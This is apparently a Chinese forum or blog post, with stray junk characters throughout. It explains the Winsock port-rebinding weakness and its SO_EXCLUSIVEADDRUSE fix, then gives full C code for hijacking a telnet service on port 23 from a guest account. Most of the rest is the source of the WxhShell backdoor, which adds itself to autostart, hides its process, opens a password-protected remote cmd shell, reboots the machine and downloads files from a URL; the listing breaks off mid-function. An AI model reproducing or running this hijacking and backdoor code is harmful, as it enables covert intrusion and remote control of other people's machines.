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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Fb^,%K: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4iJ4g% ] ^Fwdi#g saddr.sin_family = AF_INET; 8%;]]{(B h[gKyxZ/t saddr.sin_addr.s_addr = htonl(INADDR_ANY); &usum~@ 9iGp0_J bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )>!y7/3 B &)wJG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;z9U_ 8VMD304 这意味着什么?意味着可以进行如下的攻击: "O%xQ N p:Zhg{sF 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u7
{R; QKw KvlLcE~`o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !8o;~PPVl 1P/4,D@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +P=I4-?eX MQVEO5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 W 6CNMI] !H`uN
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cB7'>L Y%8[bL$
d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IR"=8w#MP ~.Cu,>fV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -7m7.>/M yj
mNeZ #include O2Tna<cR& #include I0OfK3!^ #include -aIB_ #include hFDo{yI DWORD WINAPI ClientThread(LPVOID lpParam); CoM?cS S int main() 9j$ J}=y { s5oU WORD wVersionRequested; Yu|L6#[E DWORD ret; Y NG S"3F WSADATA wsaData; D=~3N BOOL val; {Pe+d3Eoo SOCKADDR_IN saddr; bYy7Ul6] SOCKADDR_IN scaddr; p;LF-R int err; :JzJ(q/ SOCKET s; ''B}^yKEW SOCKET sc; kDWvjT int caddsize; Ryi%}! HANDLE mt; ,/..f!bp DWORD tid; sT>l ?L wVersionRequested = MAKEWORD( 2, 2 ); %>,Kd6bdg err = WSAStartup( wVersionRequested, &wsaData ); rq^VOK|L if ( err != 0 ) { Z|zT%8.8N printf("error!WSAStartup failed!\n"); HeM- return -1; 'dcO-A:> } 01o,9_|FL saddr.sin_family = AF_INET; V Rz9;=m 4|KtsAVp{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >('Z9<|r: +JY]J89 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xBAASy saddr.sin_port = htons(23); <_-8)abK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \> { /@]@Tz@' printf("error!socket failed!\n"); pAc "Wo(Q return -1; GD
}i=TK } 3 ~\S] val = TRUE; `6y\.6j //SO_REUSEADDR选项就是可以实现端口重绑定的 axdRV1+s if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xMo'SpVz: { ?4 lDoP{ printf("error!setsockopt failed!\n"); B0:/7Ld$Ml return -1; M l9 } J.n-4J#@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i
UW.$1l //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G0v<`/|>} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 go5l<:9 BY??X= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n;*W#c { 3+iQct[ ret=GetLastError(); s
F3M= uz printf("error!bind failed!\n"); w-?Cg8bq< return -1; x-@6U } ZVz`-hB listen(s,2); f}+8m .g2 while(1) D2Dk7//82Y { G:{\-R' caddsize = sizeof(scaddr); r#/Bz5Jb* //接受连接请求 C07 U.nzh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;.b^A if(sc!=INVALID_SOCKET) (Kaunp5_` { K"9V8x3Wg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y`-5/4 if(mt==NULL) CFiO+p& { I07_o"3>qr printf("Thread Creat Failed!\n"); )`
90* break; S s#UX_DT_ } IT\
x0b cv } O_y?5 3X CloseHandle(mt); w1
tg7^(@ } Q)}z$h55 closesocket(s); 5tl uS WSACleanup(); HDT-f9%}<4 return 0; D^\2a;[AxA } 2V =bE- DWORD WINAPI ClientThread(LPVOID lpParam) ;U$EM+9 { ]$?\,` SOCKET ss = (SOCKET)lpParam; f)!7/+9> SOCKET sc; FK.Qj P: unsigned char buf[4096]; P};GcV- SOCKADDR_IN saddr; uM('R;<^ long num; ?FwjbG< DWORD val; Af7&;8pM DWORD ret; HU+zzTgI //如果是隐藏端口应用的话,可以在此处加一些判断 =CjN=FM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 nwPU{4#l< saddr.sin_family = AF_INET; UvM_~qo saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q.NvwJ saddr.sin_port = htons(23); ,N`D{H"F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M[,G#GO { z+6%Ya&ls printf("error!socket failed!\n"); DU1\ K return -1; Gu@Znh-D } bdkxCt val = 100; 1PjqXgN5p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gVI2{\a { d]w%zo,yr ret = GetLastError(); :pPn)j$ return -1; ~TfQuIvQB } X3,+aL` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ld3!2g2y7& { sn?YD'>k ret = GetLastError(); HrS return -1; 6$6Qk !% } F 5FzT^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YUsMq3^& { ;gNoiAxW printf("error!socket connect failed!\n"); UV8K$n< closesocket(sc); ZMI
vzQYI closesocket(ss); N"rZK/@} return -1; dt|f4XWF } Q XV8][ while(1) qb1[-H { u#`FkuE\} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;f)o_:(JJ //如果是嗅探内容的话,可以再此处进行内容分析和记录 E5F0C]hq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iHL`r1I! num = recv(ss,buf,4096,0); t`y*oRy if(num>0) [W2GLd] send(sc,buf,num,0); J{bNx8.& else if(num==0) ;l>C[6] break; .WT^L2l% num = recv(sc,buf,4096,0); kw.IVz< if(num>0) mFXkrvOf, send(ss,buf,num,0); K7N.gT*4 else if(num==0) [.`%]Z( break; q^k]e{PD } Ps_q\R closesocket(ss); Z-B b,8 closesocket(sc); mtn+bV
R% return 0 ; %:WM]dc } '4}c1F1T_ CiSl0 Yab=p
9V;; ========================================================== ~ GW8|tw eq#x~O4 下边附上一个代码,,WXhSHELL -L%2*`-L$ ~M4@hG! ========================================================== uepL"%.@7| ]h6mJ{k #include "stdafx.h" a4L0Itrp pRLs*/Bw #include <stdio.h> lSk<euCYs #include <string.h> J%n{R60b #include <windows.h> ^#A[cY2eM #include <winsock2.h> SJdi*> #include <winsvc.h> C5^eD^[c #include <urlmon.h> gYy9N=f+ /P3s.-sL #pragma comment (lib, "Ws2_32.lib") Pqm)OZE? #pragma comment (lib, "urlmon.lib") }lzN)e ]9}T)Df' #define MAX_USER 100 // 最大客户端连接数 9?_ybO~Oq #define BUF_SOCK 200 // sock buffer OnKPD=< #define KEY_BUFF 255 // 输入 buffer bn$}U.m$- j |tu|Q #define REBOOT 0 // 重启 ^,M&PP6 #define SHUTDOWN 1 // 关机 U.B=%S {k}EWV #define DEF_PORT 5000 // 监听端口 p!~{<s] "=BO,see9 #define REG_LEN 16 // 注册表键长度 5h4E>LB.B #define SVC_LEN 80 // NT服务名长度 %Fg}"=f1
(s\":5
C // 从dll定义API 0fd\R_"d. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > \KVg(?D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FTg4i\Wp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,LHQ@/}A C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r
7mg>3 K{s%h0 // wxhshell配置信息 KtFxG6a struct WSCFG { BOQeP/> int ws_port; // 监听端口 !dW77kLTg char ws_passstr[REG_LEN]; // 口令 Hw "UJP int ws_autoins; // 安装标记, 1=yes 0=no r4D6I, char ws_regname[REG_LEN]; // 注册表键名 j_r7oARL char ws_svcname[REG_LEN]; // 服务名 7q] @Jx9 char ws_svcdisp[SVC_LEN]; // 服务显示名 QFfKEMN char ws_svcdesc[SVC_LEN]; // 服务描述信息 6^DsI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l^IPN'O@ int ws_downexe; // 下载执行标记, 1=yes 0=no {vJ)!'Eh char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" #!FLX*, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bw[jrK 426)H_wx }; /@H2m\vBX dWI.t1`i // default Wxhshell configuration $.z~bmH"D struct WSCFG wscfg={DEF_PORT, ]%y~cq "xuhuanlingzhe", z]YP 1, -*K!JC- "Wxhshell", `>q|_w\e "Wxhshell", B
az:N6u "WxhShell Service", BU="BB/[ "Wrsky Windows CmdShell Service", yq?_#r "Please Input Your Password: ", .2b) rKo~ 1, ^!*?vHx: " http://www.wrsky.com/wxhshell.exe", Z-{!Z;T)z "Wxhshell.exe" H<SL=mb; }; p]zYj >e i~IQlyGr. // 消息定义模块 >Ufjmm${ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;
-RhI_ char *msg_ws_prompt="\n\r? for help\n\r#>"; yMNLsR~ rh char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; J\%<.S> char *msg_ws_ext="\n\rExit."; V+dfV`*k char *msg_ws_end="\n\rQuit."; P'Fy,fNg char *msg_ws_boot="\n\rReboot..."; y%H;o?<WX char *msg_ws_poff="\n\rShutdown..."; G@)I char *msg_ws_down="\n\rSave to "; LaE;{ jY mF>CH]k3 char *msg_ws_err="\n\rErr!"; FNDLqf!j char *msg_ws_ok="\n\rOK!"; 9@yP;{Q LC/w".oq? char ExeFile[MAX_PATH]; fxDY:l int nUser = 0; hG,gY;&[6 HANDLE handles[MAX_USER]; ."Yub];H int OsIsNt; kCR)k=* '^l/e: (H3 SERVICE_STATUS serviceStatus; ]k mOX SERVICE_STATUS_HANDLE hServiceStatusHandle; k"SmbFn%N0 f= }Mr8W' // 函数声明 *x|
<\_+ int Install(void); {zGIQG9 int Uninstall(void); OvPy+I int DownloadFile(char *sURL, SOCKET wsh); sQ^>.yG int Boot(int flag); (oxe\Qk void HideProc(void); 'D-#,X
C int GetOsVer(void); yvxC/Jo4 int Wxhshell(SOCKET wsl); \2<2&=h? void TalkWithClient(void *cs); %uGA+ \b int CmdShell(SOCKET sock); @"s\eL,r int StartFromService(void); t.pg;# int StartWxhshell(LPSTR lpCmdLine); 33kI#45s %6<Pt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O#7ldF( VOID WINAPI NTServiceHandler( DWORD fdwControl ); e76@-fg 9ok|]d P // 数据结构和表定义 R7KQ-+Zb SERVICE_TABLE_ENTRY DispatchTable[] = bIm$7a`T { EGwY|+3 {wscfg.ws_svcname, NTServiceMain}, Snt=Hil` {NULL, NULL} H/V%DO }; |?Q(4(D`* &Jj> jCg // 自我安装 Z-<v5aF int Install(void) YeJ95\jf { i&,U);T char svExeFile[MAX_PATH]; T , =ga HKEY key; Za!c=(5 strcpy(svExeFile,ExeFile); DuvP3(K ud:?~?j&w // 如果是win9x系统,修改注册表设为自启动 =X X_Cnn if(!OsIsNt) { V8Q#%#)FHe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kc udWW] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tL+8nTL RegCloseKey(key); RQ,(?I*8\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Pp#l* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !E_uQ?/w]Z RegCloseKey(key); ioi return 0; 1MJ]Gh]5 } 7IJb$af:; }
3r em"M } ~v>w%] else { CHpDzG>]4 sW2LNE // 如果是NT以上系统,安装为系统服务 |V9%@
Y? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,H[AC}z2X if (schSCManager!=0) ,P"R.A { X}zKV SC_HANDLE schService = CreateService <(p1
j0_Q ( 0]oQ08 schSCManager, :=L[kzX wscfg.ws_svcname, !P Gow wscfg.ws_svcdisp, Ql*/{#$ SERVICE_ALL_ACCESS, z3*G(, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y0B*.H
Ae SERVICE_AUTO_START, _z4rx SERVICE_ERROR_NORMAL, uWnS<O svExeFile, ['km'5uZ^ NULL, Rg[e~## NULL, IPxfjBC+J NULL, l!AZ$IV NULL, g41Lh3dj NULL gy =`c MS@ ); .`'SL''c if (schService!=0) Bhq(bV { NuO>zAu CloseServiceHandle(schService); <uTsXv CloseServiceHandle(schSCManager); 3X!~*_iC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hTG
d Uw] strcat(svExeFile,wscfg.ws_svcname); pO+1?c43 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2FVKgyV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h5F'eur RegCloseKey(key); uBE,z>/,; return 0; <Ab:yD`K! } J$I1*~I4v } `u>BtAx8 CloseServiceHandle(schSCManager); O[L8(+Sn } wO!hVm,Ta } {hg$?4IyQ c&Zm>Qo[
return 1; 3N*Shzusbt } G>RYQ{O $GO'L2oLwn // 自我卸载 ^p7( int Uninstall(void) =hs@W)-O { 4P~<_]yf HKEY key; \~)573' \34|9#*z- if(!OsIsNt) { %|,<\~P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RrZjC RegDeleteValue(key,wscfg.ws_regname); QNJG}Upl RegCloseKey(key); #wjBMR% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0&nF Vsz RegDeleteValue(key,wscfg.ws_regname); 654%X(:q RegCloseKey(key); R$@.{d&:w return 0; |Gf{ } } o7T|w~F~R } 1I+5 } ;:e,C@Fm else { g^C6"rsnl !>:tF,fcB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .-|O "H$ if (schSCManager!=0) 5?fk;Q9+\ { )ED[cYGx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PjP%,-@1 if (schService!=0) >Qx#2x+ { 2>!ykUw^O if(DeleteService(schService)!=0) { m5p~>]}fYF CloseServiceHandle(schService); OX`n`+^D CloseServiceHandle(schSCManager); jF;4
8g@^ return 0; OWjZ)f/ } 8
KkpXaz CloseServiceHandle(schService); Vx*q'~4y!| } \;6F-0 CloseServiceHandle(schSCManager); &rd(q'Vi
} I>5@s; } \Cs<'(= S }n;..{ return 1; 0@Ijk(| } |d 3agfS[n *Z:PB%d5 // 从指定url下载文件 "XY?v8*c int DownloadFile(char *sURL, SOCKET wsh) +n, BD C; { qC4-J)8Wk HRESULT hr; jwq"B$ap char seps[]= "/"; HxM sH5; char *token; 0l=}v%D char *file; :}JZKj!}M char myURL[MAX_PATH]; JB(;[# '~ char myFILE[MAX_PATH]; R,\
r{@yrz 0c5_L6_z strcpy(myURL,sURL); V3o AZ34) token=strtok(myURL,seps); 1 ~7_! while(token!=NULL) C#~MR+; { oSl>%} file=token; ZYsFd_ token=strtok(NULL,seps); eFio, } 4PWr;& xB(:d'1| GetCurrentDirectory(MAX_PATH,myFILE); x]ti3?w strcat(myFILE, "\\"); 6b/b}vl strcat(myFILE, file); ':V_V. : send(wsh,myFILE,strlen(myFILE),0); wF uh6!J send(wsh,"...",3,0); `+.I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h2%:;phH if(hr==S_OK) >.iw8#l return 0; /=@vG Vp6 else %&Cl@6 return 1; _o.Z`] 4iz&"~&1 } ]K7 64}
/Xz4q!Ul // 系统电源模块 =b7&(x int Boot(int flag) dNQSbp { vy@Lu
cB HANDLE hToken; pD# "8h TOKEN_PRIVILEGES tkp; %d0S-. aHC;p=RQ\A if(OsIsNt) { .e"Qv*[^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (g m^o{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h,>L(=c$O tkp.PrivilegeCount = 1; ^I{]Um: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kMl< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ t $f1? if(flag==REBOOT) { =.E(p)fz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zb/Xfu.)?6 return 0; @WHd(ka! } 5uo(z,WLR else { l~YNmmv _ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3}21bL return 0; n:'BN([]o } HiG/(<bs9O } f hG2 else { } qv-lO if(flag==REBOOT) { d5y2Y/QO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C[nr> return 0; ? SP7vQ/ } 9Nu#&_2R else { |V\.[F2Fe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *'YNRM\} return 0; o'7ju~0L } #L.}CzAz } !2|`aa kA<r:/ return 1; 5vi#ItN}| } 0juIkN# )m8>w6" // win9x进程隐藏模块 rp#*uV9; void HideProc(void) X&s\_jQ { R0mT/h2 &H1D!N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H}V*<mgw if ( hKernel != NULL ) $Q?G*@y { .eNwC .8i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0Eu$-) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~cBc&u:" FreeLibrary(hKernel); Z034wn\N } ]8>UII ,US 37-y return; hav?mnVJ } N#['fg' ~_db<!a // 获取操作系统版本 P .4b+9Tx int GetOsVer(void) L*01l"5 { l;}7A,u OSVERSIONINFO winfo; ,beR:60) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,DuZMGg GetVersionEx(&winfo); s<_LcQbt{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [RFK-E return 1; M(zY[O else qb>r\bc return 0; T0v@mXBQ } ilp;@O6 60%~+oHi~ // 客户端句柄模块 Usf"K*A int Wxhshell(SOCKET wsl) dh;Mp E { 0 ,Qj: SOCKET wsh; uU(G_E ? struct sockaddr_in client; :.[5(' DWORD myID; |vDoqlW ws2j:B while(nUser<MAX_USER) ENXW#{N.v { VgsCwJ9w int nSize=sizeof(client); 2<o[@w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [G[{l$E it if(wsh==INVALID_SOCKET) return 1; O|OSE a^\- }4yR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PtQ# if(handles[nUser]==0) @~#79B"9& closesocket(wsh); AzO3 (1: else EXW
6yXLV nUser++; wJos'aTmE } O4d^ig-xaH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xDA,?i;T
0 f+TBs_ return 0; z?uQlm*We } Hrg=sR -~ O;tJF2 // 关闭 socket 9g&)6,< void CloseIt(SOCKET wsh) fo\J \ { =PKt09b^ closesocket(wsh); <x0uO nUser--; @7l=+`.i ExitThread(0); kYA'PW/[) } 2mG&@E hXQg=Sj // 客户端请求句柄 ?^48Zq6wM void TalkWithClient(void *cs) N7$DRG/<b { C*y6~AYN# r< ?o}Qq SOCKET wsh=(SOCKET)cs; O{ %A&Ui char pwd[SVC_LEN]; 0]eh>ab> char cmd[KEY_BUFF]; ^,Y~M_= char chr[1]; ^W[B[Y<k int i,j; ghobu}wuF oY2?W while (nUser < MAX_USER) { Avv =Mu'+,dT if(wscfg.ws_passstr) { 7Ysy\gZ&wp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Yfr"1RmO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x#F1@r8R //ZeroMemory(pwd,KEY_BUFF); RSPRfYU/ i=0; $~G0#JL while(i<SVC_LEN) { h*\TCl) ^=izqh5S // 设置超时 3<)@ll fd_set FdRead; $E`iqRB struct timeval TimeOut; Y6f+__O FD_ZERO(&FdRead); APQQ:'>N4~ FD_SET(wsh,&FdRead); wwK~H TimeOut.tv_sec=8; *`g-gk TimeOut.tv_usec=0; Z\*5:a] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LN~N
Fjs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +6#%P Mdlt zy=)L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w*6!?=jP pwd =chr[0]; ,p*ntj{ if(chr[0]==0xd || chr[0]==0xa) { 59Tg"3xB< pwd=0; *3F /Ft5 break; [!:-m61 } `hK>bHj i++; =N*%f% } ND e[2 @ yg|OA} // 如果是非法用户,关闭 socket Z}LOy^TL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N.5KPAvg% } 7>t$<J e}?1T7NPG] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s`Be#v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gf3u0' $ <(#xOe while(1) { N'eQ>2>O@ -
5o<Q'( ZeroMemory(cmd,KEY_BUFF); k}I5x1>& C>JekPeM // 自动支持客户端 telnet标准 x
tYV" j=0; B{OW}D$P# while(j<KEY_BUFF) { V`R)#G>IH% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e}](6"t`5 cmd[j]=chr[0]; i3M?D}(Bs if(chr[0]==0xa || chr[0]==0xd) { MAwC\7n+X cmd[j]=0; 9*-pden
l break; M\\e e3Ih } "UhK]i*@l j++; Z0()pT } Wk\mgGn+ `Ct'/h{
// 下载文件 %?]{U($? if(strstr(cmd,"http://")) { [Hv*\rb send(wsh,msg_ws_down,strlen(msg_ws_down),0); [D<RV3x9 if(DownloadFile(cmd,wsh)) "q9~C send(wsh,msg_ws_err,strlen(msg_ws_err),0); WIEx
'{ else a%MzNH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @O}IrC!bf } ]HJ{dcF else { vDK:v$g ;Ch+X$m9 switch(cmd[0]) { 0$xK B91S
h` // 帮助 Pp1zW3+Q case '?': { {(m+M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ibZt2@GB)I break; pPi YPfs } TZ&4 // 安装 5';/@M case 'i': { SZim>@R if(Install()) B^8ZoF send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ/pz+)i& else y+
6`|
h_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _XH4;uGg break; eD*?q7 } _"?c9 // 卸载 z9k*1: case 'r': { b"ol\&1
#
if(Uninstall()) r,`Z.A send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'J:?!S,Yu else X[GIOPDx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VZT6;1TD$8 break; 1&X}1 } u#a%( // 显示 wxhshell 所在路径 ysSjc case 'p': { 38V $ <w char svExeFile[MAX_PATH]; ^3Z7dIUww strcpy(svExeFile,"\n\r"); $
7UDz strcat(svExeFile,ExeFile); UC8vR>e\ send(wsh,svExeFile,strlen(svExeFile),0); Whv]88w{ break; JYZ2k=zh } -:)DX++ // 重启 8Zcol$XS' case 'b': { =&di4'` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fnVW/23 if(Boot(REBOOT)) $l#v/(uFa send(wsh,msg_ws_err,strlen(msg_ws_err),0); (
GFgt_ else { +G*"jI8W closesocket(wsh); V+qFT3?- ExitThread(0); Zw;$(=" } O{lIs_1.Z break; 8fJR{jD(s } ~/^y.SsWM // 关机 <u6c2!I{ case 'd': { MZCL:# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >X;xIyRL if(Boot(SHUTDOWN)) =]=B}L` send(wsh,msg_ws_err,strlen(msg_ws_err),0); fp.!VOy else { tP}Xhn` closesocket(wsh); %iK%$ ExitThread(0); Pk$}%;@v } T6sr/<#<( break; kVV\*"9y } fC=fJZU7$ // 获取shell <T(s\N5B= case 's': { =}~NRmmF CmdShell(wsh); 3x04JE3! closesocket(wsh); [:AB$l* ExitThread(0); 5Z*
b(R break; |$YyjYK } BhqhyX\D&y // 退出 \w{@u)h case 'x': { xL9:4'I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AyE%0KmraK CloseIt(wsh); pp/#Am break; Na\3.:]z } >nc4v6s // 离开 ^dFhg_GhF case 'q': { oHxGbvQc send(wsh,msg_ws_end,strlen(msg_ws_end),0); C}n'>],p closesocket(wsh); ~Y\QGuT WSACleanup(); "nVK< V d exit(1); 3CA|5A.Pa break; RxlszyE } Zw2jezP@t } fp9rO}## } W\HLal ;l$9gD>R // 提示信息 n"(7dl? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BmJkt3j." } ZrFr`L5F; } Bx+d3 *y)4D[
z- return; #0}Ok98P } )J;ny!^2 6a7vlo // shell模块句柄 [m~b[ZwES int CmdShell(SOCKET sock) fr8Xoa%1= { H":/Ckok STARTUPINFO si; 7raSf&{&6b ZeroMemory(&si,sizeof(si)); LEWa6'0rq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r])Z9bbi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nHrP>zN PROCESS_INFORMATION ProcessInfo; :_>\DJ'> char cmdline[]="cmd"; KA`0g= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ }{w return 0; I!61 K } )X7e$<SU* :M@MmpPh // 自身启动模式 a@Mq J=<L int StartFromService(void) B,4q>KQA { b2G2 cL-( typedef struct g4Y) Bz { #>BX/O*D DWORD ExitStatus; $+7 ci~gs DWORD PebBaseAddress; *U
M!( DWORD AffinityMask; YdK_.t0Mu DWORD BasePriority; T0;u+$ ULONG UniqueProcessId; FX7M4t#< ULONG InheritedFromUniqueProcessId; >J.Qm0TY( } PROCESS_BASIC_INFORMATION; <F ew<r2 -<|Y 1PQ PROCNTQSIP NtQueryInformationProcess; wjL|Z8 Ah*wQow static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w %;hl#s static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yDzdE; %Nl`~Kz9U HANDLE hProcess; AU/#b(mI PROCESS_BASIC_INFORMATION pbi; itw{;j )^&,Dj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <]~ZPk[ if(NULL == hInst ) return 0; Bw6 L;Vu ;xhOj<: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y">fN0{< g_pGetModuleBaseName = 